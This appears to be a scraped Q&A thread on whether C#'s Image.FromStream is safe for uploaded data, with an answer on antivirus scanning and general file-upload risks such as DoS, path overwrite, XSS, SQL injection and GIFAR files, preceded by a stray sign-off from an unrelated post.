I also recently gave a presentation on externalized authorization management at the Cloud Identity Summit. You can download the slides here.

HTH,
David.


C# Image.FromStream is that secure? after reading the data from the request as Stream i needed to convert it to Image so i used this Method:

Stream inputStream = HttpContext.Current.Request.InputStream;
Image img = Image.FromStream(inputStream)

so while im unable to know what was in that inputStream (file format is done already but still..) there may be a virus or malware, so in that case FromStream(Stream) would throw ArgumentException. since it's not an image.

my question is - If the file uploaded contains a virus, and the method throws an exception while trying to convert the stream to Image:
did that make any harm to the server?
if so, how to avoid it?
what should be the scenario for handling file upload in the server?
im just wondering rather or not i need to scan for viruses in the scenario of photo-uploading.

If the uploaded file is in a valid image format, .FromStream will not throw an exception, even if it contains a virus. That is, there is no virus checking in it.

On the other hand, there is also no way for the virus to activate, since the file at this point is only being handled as raw bytes.
(It is certainly possible, if not feasible, that it contains an attack targeted directly at the .NET Image class, e.g. via buffer overflow. However, besides being highly improbable that such a vulnerability exists, it's even more unlikely that someone will go to the trouble of targeting such a niche vector).

So, at this point you are perfectly (realistically speaking) safe, but neither do you have any idea if the file is clean or not.

The real question becomes, what happens with this file afterwards?

Is it saved to disk, and used locally?
In this case you should have some form of anti-virus check it, if only for your benefit - if you believe in them, you can just have the local AV engine scan it.

Is it later returned to other users, and thus can use your system for spreading?
You should definitely have some form of AV scan before saving the file. Note that this may not be as simple, since you might be storing the images in your database (there are AV scanners that can be activated by API for a memory segment, before it gets saved to file)... In any event, I am categorically opposed to running antivirus scans directly on your actual systems. You'd be better off having some form of gateway AV scanner, before it even hits your system.

However, take into account that when you allow random users to upload arbitrary files, virus cleaning is not the utmost of your worries.

For one, you can be swamped - either by huge files, or many smaller ones, thus DoSing your server.
If the user can specify the saved file path - he could potentially overwrite system files, or upload executable code.
If file attributes are saved, and later displayed (this includes file name and username, but also description, file type, location, etc) - this can lead to other standard web attacks, such as XSS or SQL Injection.
Do a search here for GIFAR - these are files that are both valid image files, and valid JAR (Java Archive - executable code for the browser) files. These are of course not a virus...
Depending on the system, you may be at risk for legal damages, if your users upload e.g. copyrighted images, or e.g. child pornography.  Of course, consult with your lawyer, as I am not one.

TL;DR

In short, accepting arbitrary uploads does lead you into a whole mess of potential trouble, and virus scanning is not the worst of it.